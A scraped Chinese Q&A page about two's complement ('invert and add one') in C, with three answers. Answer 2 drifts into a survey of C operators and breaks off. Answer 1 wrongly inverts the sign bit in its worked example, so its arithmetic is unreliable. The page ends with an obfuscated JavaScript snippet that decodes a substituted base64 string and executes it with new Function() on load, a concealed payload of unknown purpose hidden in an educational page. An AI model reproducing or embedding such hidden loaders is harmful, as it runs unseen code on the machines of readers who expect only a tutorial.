c语言中‘取反加一’是怎么回事啊?

给讲讲那个存储单元那个01010101啥的是怎么回事啊?
2025-03-14 23:49:44
推荐回答(3个)
回答1:

计算机存储数据是以二进制的补码形式来存储的,正数的补码是它本身(如:有二进制00000110,因为他的第一位是0,即代表是正数,反码、补码就是它本身);负数的补码是它的反码加1,也就是你说的‘取反加一’(如:有二进制10000110,第一位是1,代表它是负数,反码就是每一位都取反,为01111001,所以,补码就是01111010)。希望对你有用,望采纳

回答2:

在嵌入式开发中,我们一般选用C语言作为开发语言。一个主要的原因在于C语言提供了大量的运算符,比如我们对硬件的操作一般涉及到对位的操作,而C语言就提供了这样的运算符,这是其他语言不具备的。
二、C语言运算符有哪些
C语言有大量的运算符,可大致分为以下几类:括号与结构体符号、单目、算术、移位、关系、位、逻辑、三目、赋值、逗号。
括号与结构体符号:括号包括()、[],结构体符号指的是结构体成员引用时的符号“->”、“.”,他们也是运算符,并且优先级与括号相当,这也是我们把两者放在一起讨论的原因。至于如何使用则是结构体的内容。
单目运算符:单目运算符有很多,例如:!逻辑非、~按位取反、++自增、--自减、+正、-负、&求地址运算符、*间址运算符、sizeof()求所占字节数、(类型名)强制类型转换。这些运算符的运算对象只有一个。其中&与*属于指针内容,我们不做细说。逻辑非我们在下面逻辑运算符时说明,按位取反我们在下面位运算符时说明,强制类型转换我们在格式转换时说明。Sizeof()首先不是函数,用于求类型的所占字节数。例如:int a;sizeof(a)或sizeof(int)得到的值都是4,即整型占4个字节。()中可以是变量也可以是数据类型也可以是字符串常量。例如:char ch[20]=”hello”;我们定义字符数组来保存字符串,当我们要求字符串长度时我们发现sizeof(ch)得到的大小为20,即数组的大小,那么怎么求字符串长度呢?我们可以用字符串的相关函数strlen(),但是也可以sizeof(“hello”);它的结果为6,即计算字符串最后的空字符’\0’。++与--是我们经常用到的运算符,简单来说,有以下四种情况:
a=10,a++ ++在a的后面,先把a的值赋值给表达式,a在自加1。即 a=10,b=a,a=a+1
a=10,++a ++在a的前面,a先自加1,再把a的值赋值给表达式。即 a=10,a=a+1,b=a
a=10,a-- --在a的后面,先把a的值赋值给表达式,a在自减1。即 a=10,b=a,a=a-1
a=10,--a --在a的前面,a先自减1,再把a的值赋值给表达式。即 a=10,a=a-1,b=a
上例中a++/++a/a--/--a代表表达式,我们可以理解为:b=a++/b=++a/b=a--/b=--

回答3:

补码,是计算机进行数值计算时,唯一使用的代码。

存储单元中的 01010101,就是一个补码,它代表了数值:+85。

那么,什么是补码呢? 又为什么只使用补码呢?

很多人都会说“原码取反加一”就是补码。

其实,那些个废话,不过是【障眼法】而已。

原码反码取反加一这些,和计算机中的补码,并没有任何关联。

.

先来看看十进制数吧,两位数:0 ~ 99。

可以有:27 + 99 = (一百) 26

也可以这么做:27 - 1 = 26

如果你忽略进位,这两种算法的功能,就是完全相同的。

即,舍弃了进位:正数,就可以当成负数;加法,也就可以完成减法运算!

.

如果在计算机中舍弃进位呢?

负数和减法,也就被正数和加法代替了!

那么,计算机中,就全都是正数和加法运算了。

因此,计算机只需配置一个加法器,便可全面完成加、减运算!

舍弃了进位,既简化了算法,还能简化硬件! 好事啊!

这个“代替负数的正数”,就是计算机专家发明的“补码”。

由此可知:【舍弃进位】,才是“补码”的来源和存在意义!

.

正数与其代替的负数,换算方法是:+99 = 100(进位值)-1。

别忙,移个项,再仔细看看:99 + 1 = 100 !

看出来什么没有?

这不就是小学学过的“互为补数”的算式吗?

原来,所谓的“补码”,我们在小学就学过啊!

----------------

注意,计算机使用的是:二进制数。

八位二进制数的进位值,是:2^8 = 256。

显然,在此时,就要用 255 (二进制 1111 1111) 代替-1 了。

在计算机教材上,给出的补码定义式是:[ X ]补 = 2^8 - X。

这个公式,与小学时“互为补数”的算式,不就是雷同的吗?

把-2 代入,可得:[-2 ]补 = 254 (1111 1110)。

同样道理,也可得:[-3 ]补 = 253 (1111 1101)。

。。。

最后一个,是:[-128 ]补码 = 256 -128 = 128 (1000 0000)。

以上这 128 个正数(128~255),就是代替负数(-128 ~-1)的“补码”。

.

而加上 0 ~ 127,并不会产生进位,那么,这些数,就不会表现出负数的特点。

所以, 0 ~ 127,这 128 个数,就不能代表负数,只能代表它们自己了。

因此,计算机专家就发明了“零和正数的补码,就是它们自己”的说法。

----------------

其实,所谓的“补码”,并不是什么码,它们也是正常的数字。

补码和补码之间的运算方法,和“一般的二进制数 ”的算法,是完全相同的。

因此,用补码代表带符号数,就能和“无符号数 ”使用同一个加法器来完成运算。

而原码和反码,都没有这种功能。

(如果非要用原码或反码来进行加减运算,那就必须特制两个加法器了。)

所以,计算机,根本就不能用原码和反码。

这就是“在计算机系统中,数值,一律采用补码表示和存储”的原因。

这就是说:在计算机中,根本就没有原码和反码。

机器数符号位原码反码取反加一模符号位也参加运算时针倒拨正拨 ... 

这些,都是无用的垃圾! 你就是全背熟了,也是啥用都没有的。

反之,如果你上过小学,还记得“互为补数”,你就什么都明白了。

----------------

看一个补码的应用吧:7-3 = 4。

用补码计算的过程如下:

.     7 的补码=0000 0111

.    -3 的补码=1111 1101

--相加------------

.   得:     (1)  0000 0100 = 4 的补码

舍弃进位,只保留八位,结果就是 4。 运算正确!

.

如果保留进位呢?

保留进位,此次运算,就是无符号数的加法运算:

.  7 + 253 = (进位 256) 4 = 260。 显然也是正确的。


(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();